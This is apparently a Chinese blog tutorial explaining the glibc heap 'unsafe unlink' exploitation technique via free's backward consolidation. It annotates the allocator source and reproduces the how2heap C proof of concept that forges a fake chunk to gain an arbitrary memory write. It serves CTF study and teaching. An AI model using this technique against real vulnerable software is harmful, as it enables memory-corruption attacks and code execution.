free后向合并unlink利用

利用条件

  1. 存在两个相邻堆块

    • 能控制前一堆块数据部分
    • 能控制后一堆块header部分
  2. 有可写指针指向前一堆块数据段地址,能获取该指针地址

利用原理

堆块 free 时,如果相邻前一堆块处于空闲状态,会尝试进行后向合并的操作,将两堆块合并成一个堆块。其中由于空闲堆块原本在双向链表中管理,因此会触发 unlink 对其进行脱链,即从双向链表中取出。

关于 unlink 的详细介绍,可以参考CTF Wiki上的Unlink文章,本文只介绍free时后向合并的unlink利用。

以下是 _int_free 函数后向合并的部分源码:

    /* consolidate backward */
    if (!prev_inuse(p)) {       // 需要当前释放堆块的prev_inuse段为0,也就是指示前一堆块为空闲状态
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }

可以看出,free当前堆块时,如果堆块的prev_inuse为0,表明前一堆块处于空闲状态,就会尝试进行后向合并操作。

然后会触发 unlink 操作将前一堆块从链表中取出,以下时 unlink_chunk 函数的源码:

/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
  // size检测
  // 空闲堆块的大小(size段)等于后一堆块记录的大小(prev_size段)
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");

  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;
  // 双向链表完整性检测
  // 链表中前一堆块的后一堆块和后一堆块的前一堆块等于当前堆块
  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");

  fd->bk = bk;
  bk->fd = fd;
  // 如果大小不属于smallbin的范围并且fd_nextsize段不为NULL,需要进行largebin的检测
  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      // largebin的nextsize双向链表完整性检测
      // 一般只需要把fd_nextsize段置0就不需要过这个检测
      if (p->fd_nextsize->bk_nextsize != p
      || p->bk_nextsize->fd_nextsize != p)
    malloc_printerr ("corrupted double-linked list (not small)");

      if (fd->fd_nextsize == NULL)
    {
      if (p->fd_nextsize == p)
        fd->fd_nextsize = fd->bk_nextsize = fd;
      else
        {
          fd->fd_nextsize = p->fd_nextsize;
          fd->bk_nextsize = p->bk_nextsize;
          p->fd_nextsize->bk_nextsize = fd;
          p->bk_nextsize->fd_nextsize = fd;
        }
    }
      else
    {
      p->fd_nextsize->bk_nextsize = p->bk_nextsize;
      p->bk_nextsize->fd_nextsize = p->fd_nextsize;
    }
    }
}

总结一下,要触发 unlink ,需要满足以下检测的条件:

  1. size检测:chunksize (p) == prev_size (next_chunk (p))
  2. 双向链表完整性检测: fd->bk == p && bk->fd == p
  3. largebin检测:in_smallbin_range (chunksize_nomask (p)) || p->fd_nextsize == NULL

然后就能完成脱链操作,也是实现任意地址写的关键:

 fd->bk = bk;
 bk->fd = fd;

假设存在两个相邻堆块 chunk0 和 chunk1;chunk0_ptr 是指向 chunk0_data 部分的一个可写指针,其地址已知。我们可以控制chunk0 的 data 和 chunk1 的 header 部分。根据以上原理,我们进行如下构造:

unlink

此处以64位为例说明,与32位区别在于各段偏移大小

对于 chunk0_ptr ,有:

chunk0_ptr = p  // p为chunk0_data的地址,也就是伪造的fake_chunk0地址
                // chunk0_ptr的地址为0x0602280
                // 即&chunk_ptr = 0x0602280 

在该堆块内伪造一个堆块,使得:

fake_chunk0->prev_size = 0
fake_chunk0->size = chunk0_malloc_size   // chunk0 申请的大小

// 双向链表完整性检测
fake_chunk0->fd = &chunk0_ptr - 0x18 // = 0x0602280 - 0x18 = 0x0602268
fake_chunk0->bk = &chunk0_ptr - 0x10 // = 0x0602268 - 0x10 = 0x0602270
// fd = p->fd = fake_chunk0->fd = 0x0602268
// bk = p->bk = fake_chunk0->bk = 0x0602270
// fd->bk = *(0x0602268 + 0x18) = *(0x0602280) = chunk0_ptr = p
// bk->fd = *(0x0602270 + 0x10) = *(0x0602280) = chunk0_ptr = p

对于 largebin 大小的堆块,还需要:

fake_chunk0->fd_nextsize = 0 // p->fd_nextsize = NULL

然后覆盖下一个堆块的 header 部分,使得:

chunk1->prev_size = fake_chunk->size  // size检测   
chunk1->size &= ~1                       // prev_inuse置0

实现unlink:

fd->bk = bk  // fd->bk => *(0x0602268 + 0x18) => *(0x0602280) => chunk_ptr = 0x0602280 - 0x10
bk->fd = fd  // bk->fd => *(0x0602270 + 0x10) => *(0x0602280) => chunk_ptr = 0x0602280 - 0x18

最终实现效果:

chunk_ptr = &chunk_ptr - 0x18

将可写指针指向本身低0x18字节位置,于是可以控制可写指针写入任意地址。

实例

how2heap unsafe_unlink

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
    setbuf(stdout, NULL);
    printf("Welcome to unsafe unlink 2.0!\n");
    printf("Tested in Ubuntu 20.04 64bit.\n");
    printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
    printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

    int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
    int header_size = 2;

    printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

    printf("We create a fake chunk inside chunk0.\n");
    printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
    chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
    printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
    printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
    printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

    printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
    printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
    chunk1_hdr[0] = malloc_size;
    printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
    printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
    chunk1_hdr[1] &= ~1;

    printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
    printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
    free(chunk1_ptr);

    printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;

    printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
    printf("Original value: %s\n",victim_string);
    chunk0_ptr[0] = 0x4141414142424242LL;
    printf("New Value: %s\n",victim_string);

    // sanity check
    assert(*(long *)victim_string == 0x4141414142424242L);
}

相关练习

  • 2014 HITCON stkof

参考

[1] Unlink - CTF Wiki, https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/

[2] unlink - 星盟安全Pwn公开课, https://www.bilibili.com/video/BV1Uv411j7fr?p=20&spm_id_from=pageDriver&vd_source=cd6c2579222a1d3d359211fb8bf436d3

[3] HITCON 2014 pwn - stkof 做题笔记, https://blog.csdn.net/qq_33976344/article/details/119929139

暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇